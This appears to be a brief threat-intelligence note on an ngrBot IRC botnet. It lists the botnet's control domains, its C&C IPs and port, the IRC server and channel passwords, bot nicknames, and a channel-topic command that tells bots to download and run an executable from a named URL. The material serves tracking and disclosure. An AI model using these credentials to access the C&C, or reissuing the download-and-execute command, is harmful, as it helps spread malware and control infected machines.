My estimation for this botnet size is 30-50k aproximatly
Domains used to control bots:
xxlaa.com active
Sabukenke.com not active
Alufina.com not activ
xxlss.com not active
xxlcc.com not active
Resolved : [xxlaa.com] To [31.186.102.170]
C&C Server: 222.187.221.243:7777 PASS laekin0505x
Server Password:
Username: ynuvlog
Nickname: n{DE|XPa}ynuvlog
Channel: (Password: )
Channeltopic:
C&C Server: 31.186.102.170:7777 PASS laekin0505x
Server Password:
Username: sechfqy
Nickname: n{DE|XPa}sechfqy
Channel: #totalrenovation2011 (Password: ngrBot)
JOIN #US
Channeltopic: :$sx $upx http://www.fatm.org.ar/images/Winsoft.exe 48b4b8d537ac8e40587f11014ed92308
hosting infos:
http://whois.domaintools.com/31.186.102.170